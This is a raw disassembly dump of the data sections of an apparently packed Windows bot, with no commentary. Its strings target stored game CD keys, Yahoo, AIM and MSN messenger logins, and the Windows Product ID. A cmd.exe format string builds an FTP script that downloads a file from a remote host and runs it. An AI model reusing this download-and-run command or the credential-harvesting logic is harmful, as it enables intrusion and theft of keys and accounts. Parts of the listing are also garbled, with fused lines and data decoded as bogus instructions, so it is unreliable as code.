aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44692C	dd 3A6D6961h, 732520h, 0dword_446938	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A6C	dd 3A6E736Dh, 732520h, 0dword_446A78	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BA4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BAF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BC7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BD8:				; CODE XREF: ___:00446BDDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BD8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CD0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F60	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F64	dd 0							; sub_4245F0+11o ...
dword_446F68	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F70	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446F94	dd 41h dup(0)						; ___:0040D380o ...
dword_447098	dd 0							; ___:loc_40D3D4r ...
dword_44709C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470A0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470A4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470EC	dd 0							; sub_40FF60+47Dr
dword_4470F0	dd 0							; sub_40FF60+515r ...
dword_4470F4	dd 0							; sub_40FF60+655r ...
dword_4470F8	dd 0							; sub_40FF60+B79r ...
dword_4470FC	dd 0							; sub_40FF60+74Br
dword_447100	dd 0							; sub_40FF60+828r
dword_447104	dd 0							; sub_40FF60+77Cr
dword_447108	dd 0							; sub_40FF60+4DDr ...
dword_44710C	dd 0							; sub_40FF60+311r
dword_447110	dd 0							; sub_40FF60+34Dr ...
dword_447114	dd 0							; sub_40FF60+33Dr
dword_447118	dd 0							; sub_40FF60+3D2r
dword_44711C	dd 0							; sub_40FF60+E93r
dword_447120	dd 0							; sub_40FF60+1220r ...
dword_447124	dd 0							; sub_411FE0+4DAr
dword_447128	dd 0							; sub_40FF60+683r
dword_44712C	dd 0							; sub_40FF60+6B5r
dword_447130	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447148	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44718A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44718F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_447191	db 0			; DATA XREF: sub_40DB10r
word_447192	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472A7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472AB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472B0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_4472F9	db 3 dup(0)		; DATA XREF: ___:00408AEBo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447342	dw 0			; DATA XREF: ___:00408AC2o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44735C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44738B	db 0			; DATA XREF: ___:00408B14o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473D4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44741D	db 3 dup(0)		; DATA XREF: ___:00408A4Do
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474AF	db 0			; DATA XREF: ___:00408B3Do
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447541	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44758A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44767F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447759	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 36h dup(0)
byte_447834	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447864	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478C6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44790F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44793F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447988	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A34	dd 0				dd 11h dup(0)
		db 0
dword_447A7D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DE8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C8E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448C92	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D06	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DA0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FBB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491BB	dd 0							; sub_4256B0+4Fw ...
dword_4491BF	dd 0							; ___:004240BDw ...
dword_4491C3	dd 0							; sub_4256B0+5Dr ...
dword_4491C7	dd 0							; sub_4256B0+8Cr ...
dword_4491CB	dd 0							; sub_4256B0+9Dr
dword_4491CF	dd 0							; ___:004240F1r ...
byte_4491D3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
		dd 301Ch dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F30o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 0B0A3h dup(0)		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
		dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44432Co
		dd 6DAh	dup(0)
		db 3 dup(0)
dword_4D5FBB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60A5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60BC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60BD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60C9	dd 0							; sub_404C20+2Aw
byte_4D60CD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D60F7	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61BB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61BF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D637F	db 0			; DATA XREF: ___:004081D8o
					; ___:00408664o ...
		dd 8 dup(0)
dword_4D63A0	dd 0				dd 51h dup(0)
		db 0
byte_4D64E9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6765	dd 0							; sub_426CE0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4DE2D5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DBF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E45	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E671F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E74	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E75	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E8A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:00408678o ...
		dd 0Fh dup(0)
		db 0
byte_4E6EC9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6ECB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
dword_4E6ECC	dd 7522h dup(0)
dword_504354	dd 0AC2h dup(0)	dword_506E5C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE5C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB28	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB38	dd 0							; ___:0041FB3Dw ...
dword_50BB3C	dd 0							; sub_41FA90+2Aw ...
dword_50BB40	dd 0		dword_50BB44	dd 0							; ___:0041FB5Bw
dword_50BB48	dd 0		dword_50BB4C	dd 0							; ___:0041FB67w ...
dword_50BB50	dd 0							; ___:0041FB6Dw ...
dword_50BB54	dd 0							; ___:00420DA9o
dword_50BB58	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB5C	dd 0							; ___:0041FB81w
dword_50BB60	dd 0							; sub_420530+41w ...
dword_50BB64	dd 0							; sub_420530+7Fr
dword_50BB68	dd 0							; sub_420530+92r ...
dword_50BB6C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB7C	dd 0							; ___:0041C1A5o
dword_50BB80	dd 0							; sub_423720+5r ...
dword_50BB84	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAC0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAD8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E130	dd 0		word_50E134	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E138	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E13C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E140	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E144	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E14C	dd 80h dup(0)						; sub_426A60+129o
dword_50E34C	dd 0		dword_50E350	dd 0				dd 1Dh dup(0)
dword_50E3C8	dd 0							; ___:0042B11Dr ...
dword_50E3CC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3D0	dd 0		; resolved to->WS2_32.connect					; sub_431280+2Dr ...
dword_50E3D4	dd 0		dword_50E3D8	dd 0							; sub_430270r ...
dword_50E3DC	dd 0		dword_50E3E0	dd 0							; sub_42F6B0+111w ...
dword_50E3E4	dd 0							; sub_42F6B0+F6r ...
dword_50E3E8	dd 0							; ___:loc_4303B0r
dword_50E3EC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 139h	dup(0)
dword_50E8E0	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E920	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E940	dd 8 dup(0)						; sub_430690+25o ...
dword_50E960	dd 8 dup(0)						; sub_431560+84o ...
dword_50E980	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9A0	dd 9 dup(0)						; sub_42F6B0:loc_42F7C7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 18Ah dup(0)
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
		dd 5 dup(467E6C3Bh), 5 dup(7880050Fh), 5 dup(53A6B7B1h)
		dd 5 dup(2957278Bh), 5 dup(6B42D42Eh), 5 dup(21124241h)
		dd 5 dup(19859DC1h), 5 dup(1902FF23h), 5 dup(4DF78446h)
		dd 5 dup(2529ABE0h), 1Eh dup(0)
		dd 6B42D42Eh, 10h dup(0)
		dd 2529ABE0h, 58h dup(0)
		dd 53A6B7B1h, 1Bh dup(0)
		dd 1902FF23h, 14h dup(0)
		dd 467E6C3Bh, 52h dup(0)
; ---------------------------------------------------------------------------
		retf	0AEB6h
; ---------------------------------------------------------------------------
		db 7Fh
		dd 1Bh dup(0)
		dd 4DF78446h, 0Bh dup(0)
		dd 21124241h, 0Ch dup(0)
		dd 2957278Bh, 2Bh dup(0)
		dd 19859DC1h, 11h dup(0)
		dd 7880050Fh, 0Ah dup(0)
		dd 2890574h, 28A0000h, 28B0000h
dword_50F710	dd 28B154Fh			dd 28B1717h
dword_50F718	dd 28B191Ch			dd 28B1C4Ah, 28C0000h
dword_50F724	dd 28D0000h			dd 28E0000h, 28E0491h, 28E08ACh, 28F0000h
dword_50F738	dd 28F035Eh						; sub_40E7A0+25Ar ...
dword_50F73C	dd 28F08B3h	dword_50F740	dd 28F0C1Dh			dd 2900000h, 2900382h
dword_50F74C	dd 2900668h						; sub_40ED70+15Er ...
		dd 2900944h
dword_50F754	dd 2910000h						; sub_40E7A0+22Cr
		dd 2920000h
dword_50F75C	dd 292023Dh						; sub_4207E0+285r ...
		dd 2930000h
dword_50F764	dd 29313C6h						; sub_40E7A0+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 2700000h, 2700143h, 2710000h, 271078Bh, 27109D5h, 2710D3Bh
		dd 2720000h, 272011Dh, 272087Fh, 2720C0Eh, 2730000h, 2730201h
		dd 27308A1h, 27308FFh, 2740000h, 27404B4h, 27406F0h, 27409DEh
		dd 2740BA2h, 2740EF6h, 2750000h, 275058Fh, 27505ECh, 27509EAh
		dd 2750AF6h, 2750C97h, 2760000h, 2760203h, 27603AFh, 27604A7h
		dd 27605F1h, 2760676h
dword_50F858	dd 276085Dh	dword_50F85C	dd 2760EBFh	dword_50F860	dd 2770000h			dd 7C901005h, 7C9010EDh, 27702BDh, 27702D6h
dword_50F874	dd 2770316h						; sub_420530+FEr
		dd 2770920h, 2780000h, 27803AAh, 278070Eh, 2790000h, 27A0000h
		dd 27A08E3h, 27B0000h, 27C0000h, 27C0890h
dword_50F8A0	dd 27D0000h						; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 27D0802h						; sub_40FF60+47r ...
		dd 27D08ABh, 27E0000h, 27E0517h, 27F0000h, 27F106Eh, 2800000h
		dd 2810000h
dword_50F8C4	dd 2811558h			dd 2811729h, 2811B29h
dword_50F8D0	dd 2811E0Eh						; sub_41B4B0+2Fr ...
		dd 2820000h
dword_50F8D8	dd 28207FBh						; sub_4203D0+2Er ...
		dd 2830000h, 2840000h, 2840C46h
dword_50F8E8	dd 2850000h			dd 285027Ch, 2860000h, 2870000h, 2871176h, 2871CFFh, 2880000h
		dd 2880730h, 2880CB7h
		dd 2890000h
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D2C0+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C2DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B950+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42DFD0+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CB10+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BC90+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FF60+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419BDAr
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422A40+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 2890339h
off_50FBF0	dd offset sub_5EA1BD	; DATA XREF: ___:00419EBDr
					; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425020:loc_4250C9r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A5F0:loc_42A6ABr
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B540+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A5F0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A6D0+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427AD0+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
unk_511000	db    0			; DATA XREF: Themida_:0057A3CCo
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
